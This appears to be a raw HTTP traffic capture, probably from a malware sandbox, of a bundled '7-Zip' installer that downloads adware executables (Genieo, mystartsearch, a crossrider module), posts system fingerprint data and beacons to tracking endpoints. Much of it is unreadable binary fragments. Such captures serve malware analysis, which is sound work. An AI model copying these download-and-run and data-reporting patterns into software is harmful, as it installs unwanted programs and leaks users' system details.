.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:58:13 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.G.=.......e...\%...R...Jj.m.eW.4......Ba.b..,.,.d
s......(......DdfdDd,7.z.......t............I...Z..8Y...0...E.,......d
...W.....E.q.s....n..........o.Px..Rj;....h..........>...Q.5..'[...
).....%...|<.%Q?.../}.*..._.J.>.,.....|q..&...|..,]$......./..q.
Hz..d...w..t.U..../fq..|.G.......)...=......i.......O..3.....Yr>.-.
.w_....M.1...n.Oz../g.|z.H..yt../.....m.|.....|....]y..O......'.q.;d.7
_{..w...P........9........~.5... ,..*<....<A...x.Lzx......8ya...
z.... .i:c....%. ..f..:>?.....d....o....(.t>...I.=...d......(.c.
c...|..C....q....Z....l..yr....G....zu>^.={G6..c..G..O..t..-{.....&
lt;.>.L......s|X..e...........X..WS<Y...Y......&.i.;.N.....?..g.
J&.....}........$...G$...%..%........./.bX{.G.X......S.....^.G.tK..y..
.......a:............/...r.j......`X.....c%.8..x......a`.....U29...n2:
...ni...0.\....s.......|...N'.t..&k..n.......!......,IP..ky...yg.X.^..
;...8.zx0...v..s~.(.D.w./...>e.].3..8.f..O..R..yW....l ....]l.t....
..r6r..d.;.../AB....w.w..........}....1.....~..........5..x...wo.._...
..w.,...E.??.....jKD.;..o.s.._x(w......s.....@'#.}.B..i<h....._W...
....AW..j.....k......Q..W~..W~.^..........|...............-.....])_...
._........[.W~.......{. ....X..-...{.U~...u..{.......?......\..k.....&
lt;...t8...d~(.R..B......l..^<........&. bp....6Y......6..!w..=SN'8
........G.iN.L[l;W..........g5wn<..W.l._N....a'.6.g.b9.\..GZ.Y..&..
.x9.;......{LzY....f..(.. ....v..{Q..<.Ogu.J....~w{.L...A..4..~.gnD
Q...l...~.$9....m.IY.....y................v..........w..q.v.......
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Content-Length: 2196
Connection: Keep-Alive
Cache-Control: no-cache

country=UA&uid_orig=236762cce52fe54e8735a3807f6f1de4&uid=236762cce52fe54e8735a3807f6f1de4&affid=awat7zip54650&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=2220f39bdae683a45c4b9e63202b534f&tokyo_csrf_timestamp=1423886293&unique_id=9b2a2631e07de3ea563da5f894f4918c&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8ju
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:58:14 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
f26.............\m..6.. :..|a.u..lj.s........]&E1...- "`.c...=-....]{.
[email protected].:..r!._-.....".#.F$S&.,......{.q?.l....\...u...9u...[.(
b...<b..7.`r....$_..{.....(.V.-e...^,.$g.d..~.1..{.y6...A.S...s....
...Tq..$wY..........2....a...q...>.....r{...'..u^.8T..).UFr...%<
_Hu.B.H"..,Ur....^.%....V.=^.G......g....#.,5....3X*W.....u..R...D..nB
V,..{6..SW$.a.u..E,D>.E..E.F<..M8..t.....{xs...V...j3..vJ....8..
.!.\.%....L.k.../D............V......1...\...U.S]...9..p.,.t..P.i..0.T
........Cs.M.RQo.k.y.x....]?....(.9X.<...k.5a....,;o..:.....b&"..(.
..T{...)...0..m1c.....x......=3.@o.]Oa..#.8._...G.....7k?..S...CCh....
.H.BI.......U...~h..)-.L..tC.Gdf%.8e.......iQz.;.....e6..5.E....{..$E.
....b.6m...Q...1u...l.-..G.!............w.E5O.. ../.Q.r.fpU.t.1:4..m..
..;...u2,M.a-.x0....Y..... ..._..X....,...Qw......I.z.#...u..{.}..C.q.
L...N.z.._.....47.&).3..W....G..3.....;.2.N......I.. .>...H....e.o.
-.....3.....#..c>..B.>EG.t..BYdl......8$R..H.j..Q..e=.x .'.....-
.:s?*.i.y....r/...V.....x.A\.|..Y.....:v..OE.0..v.dER..5.z.4..(.......
??..../?.....S.~..%I...7....I.....0.HGw~-G.].....z~. .6....,.XJl...(..
`WO..Y`..I...XE......@/..I.....N.|kRD..h.{.y|*. ...?t..T&d..<".Qw.R
...x-......[[email protected]~...&...q.N..o..o...RR.o}.Q7.....-...;...
=.;k....[...v....Ud..~..~...a=.:h;...!...v...J...........g<..c.oh.M
k...i=o..c.....-g.....%. ..D..B3.i...d....../X..;.......y..V..(v.0..y.
...H......,.D.....rZE<.....w...U.(:...4....Y.,..Z..<.t>..=..R
.I3`2/..D...T.. ..h...|....z.GI8..~;S"..0.@S.'"..S.g.kq....O&p(..R
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=643343-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 643340
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:57 GMT
Content-Range: bytes 643343-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4psknD4uvA4t3ubEDNOyoN61bVp4ogxVe2ZfqMDv5pupWWdAcB3i8A==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 643340..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT..Accept-Ranges: bytes.
.ETag: "639a3946a47d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Sat, 14 Feb 2015 03:56:57 GMT..Content-Range: bytes 64334
3-1286682/1286683..X-Cache: Miss from cloudfront..Via: 1.1 1415e6a9d30
8119037d1fa89386da72a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 4psknD
4uvA4t3ubEDNOyoN61bVp4ogxVe2ZfqMDv5pupWWdAcB3i8A==......HX|/Bmp./....6
?...dF.`.K..qP6.4......ay.j..Y:..%#.X....J...r...X.#..S..kAg...1.$D<
;t.....&.d%0.P.j1._x.H/E..)$kf......2."[email protected])8F.i..~M.0..'(....t..x..
[email protected]..|i.%..T.*...mv....>~....A...N.\..g.]....L..{...0..j.w..'
(...0i.......TB:..V. .9:y.f......t.i)*&.O..v .ej....B7....*1.....ie..k
....o.\.-k>.^[email protected]/......KcT..1R.f....>..Y...>..i..f...z..
...Tk........A...!*.y/[email protected].<w.."g..........]g..eM.$..3
...I,.{mX~..9EK/...".LAv|.-Y%|P@.".z.!W...CN.h...N..../.v...&....z..e8
G!.Vo.c..h.!........:.W..mS.Y....M.(.......X...1...9&../....\..(.].bu.
...).{<..a:X...-`.#....[0E... .8....z...=....0.......k.V.Q`>...n
P..I.........Y.o?7~nc..<h..`...VE.G*X.'9.F..@(..e.a...P......L..*.2
.~.v7.T.Q#..IH..y".j.. 8.kO........:M.W.NHr......&...`.`..;$...*..J$..
.gf...g<]2r\#.P.....h.Ph....'.=a^..)v.a.>XG..........[.5&...4...
.W..z.."..z4o..P-b./T...R.F'.......I0...4.L...Bm'w..u....."N.|..1k|.D.
.9/,.!..m.0...7....G...n...4;soy.g.m6.....t.;.;R*v....Q..lC.......
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=832858-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 277618
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-.%..Ue...E.l..}..:Pd.(.9..!I..A.....8..k..W.J.....9 C..h.I`
...Zis.._.....c........p!^.....r.. [email protected]..'v.sV ..X...2.T|k
U$.'.~..|...'...pM|.y..Ey....r..N....Z.....'.T.K....k~w,....%..G...p..
e... .F.....$x8. ..|.p........$Z\OB...{.._....Vj.~i..Z.`..l2;..=<WP
...Yf........./x......C.I..c.L.... ...[b]...f...&0...`.|.F...tJ.U.
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: V9G3TWaRFKSU8T FQA3bAdI25dnIEV74cba6/nHAqCN2gI7kmCIvTfB5AoIOGcPuKDYYWtlWw4M=
x-amz-request-id: 10F384AD809B4D35
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 0-988407/988408
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=107085-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 178473
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 107085-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: GxBMqD0oPnqVXV9-Ft0JPSB5YV9c8h15_fkEcXMCCgeYKvT_ZJTedw==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].
<<< skipped >>>


GET /Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: up.soft365.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:01:19 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
Content-Encoding: gzip
14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Sat
, 14 Feb 2015 04:01:19 GMT..Content-Type: text/html; charset=UTF-8..Tr
ansfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodin
g..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..14.............
...........0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=160836-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1125847
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:57 GMT
Content-Range: bytes 160836-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: itH5y4qHMfQWU_pyEYMjsteo9FzCeA4-HJdHeJFRewXIimy7mk7BsQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 1125847..Connection: keep-alive..Cache-Control: no-cac
he..Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT..Accept-Ranges: bytes
..ETag: "639a3946a47d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Sat, 14 Feb 2015 03:56:57 GMT..Content-Range: bytes 1608
36-1286682/1286683..X-Cache: Miss from cloudfront..Via: 1.1 1415e6a9d3
08119037d1fa89386da72a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: itH5y
4qHMfQWU_pyEYMjsteo9FzCeA4-HJdHeJFRewXIimy7mk7BsQ==..>?B`...SIKSm..
....\.......U.6C.......(n ...zH.K&s`?...../%.'..9.(....y..-...8. ..A53
*.....)..%.?....}......!cn.P.]!I.t...?.'I.R.......5T.R{....11"J.*..7i.
..g...#.g...,......&.......7.~.[....W.zh-K.:N&M..bjq.....f.....*-.z"..
.E...}....~..}...j.(.s./..g...o..M.Ps5...g:..7..nMt.....M=..(.z.....f.
......!,.....,|.........1...S<.....o.G....t.....rgq...i.@~,...D..L.
...h.U.h.(.....:..........K.Y567.Q.........q...5G.....-R#k..,oP?.....I
OP...js.Q.d...1..^.4.-:.V.M..R8.....Uf.B.]f.c..Mj...ru...).#...{..W^Ln
..2.h........?q.P-|.S.(.UK........A...._...c....U!..whdb.r...[x\......
.H..Pe..?sw(w}.QB..JPL..>...p.h..m........6G....".p....m h.....B|..
n]8qv......(<.i5V.....2_R*[email protected]..\..e.S.,....=.l..%q&l
t;h.j.{.!X...q....m.k..c.5,.3.!E.vt.6.....:..!<=.j$$..@:...X..B...]
._.Px.E..e...(...0\..f...l2.dh..m*S.|.uR4Vl.(GA...C.G..>p...q).....
.<...=2.:1Z...VS...n..(.1....}.j..... ..\.X....T.6....e...X........
..~...&...`4...k1.[AY.. |<....*..e2j.=..|.Z^...FXGl%Xm...T.....
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=80408-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 241224
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 80408-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: QWmm1qbm6JRRH2KYwEhkxk1y1ThOtSF0rbd-TAY7Qx6lHC2QW50oTA==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............
<<< skipped >>>


GET /t.ashx?e=XJYuqQQo69e7kz6lYX7QXoxXl6h7wlThSJD6CunAiBj8ln8Iap23//2TEkHeJNDUNLVXkHqu5msN/ec5/N5mEQT3jNVgt0vbd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IrQ_jVJyFFf7PKQfk7X1nCJye5D9mgVQAhnH0MKxVkwkUT6z0CNOvw==
abfgshdgfjhsk....


GET /t.ashx?e=XJYuqQQo69e7kz6lYX7QXoxXl6h7wlThSJD6CunAiBj8ln8Iap23//2TEkHeJNDUNLVXkHqu5msN/ec5/N5mEQT3jNVgt0vbd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4d5TyOb6iTCP9sLR1tFLuVQahxClB-Sxh7anPO-2rUz7mIsBIFQTRQ==
abfgshdgfjhsk....


GET /t.ashx?e=XJYuqQQo69e7kz6lYX7QXoxXl6h7wlThSJD6CunAiBj8ln8Iap23//2TEkHeJNDUNLVXkHqu5msN/ec5/N5mEQT3jNVgt0vbd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: YZYFPJ4taufRupqPupJMYAIqwGMJb7US8Yhas37LIduCJF2VEnQPIw==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:02 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: YZYFPJ4taufRupqPupJMYAIqwGMJb7US
8Yhas37LIduCJF2VEnQPIw==..abfgshdgfjhsk..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: QWONIZ01NW4vnBM_CVTKZY1ZZc3-BUP2LePS4AovXf0VTusDjgDHEw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=160816-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160816
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 160816-321631/321632
Age: 477
X-Cache: Hit from cloudfront
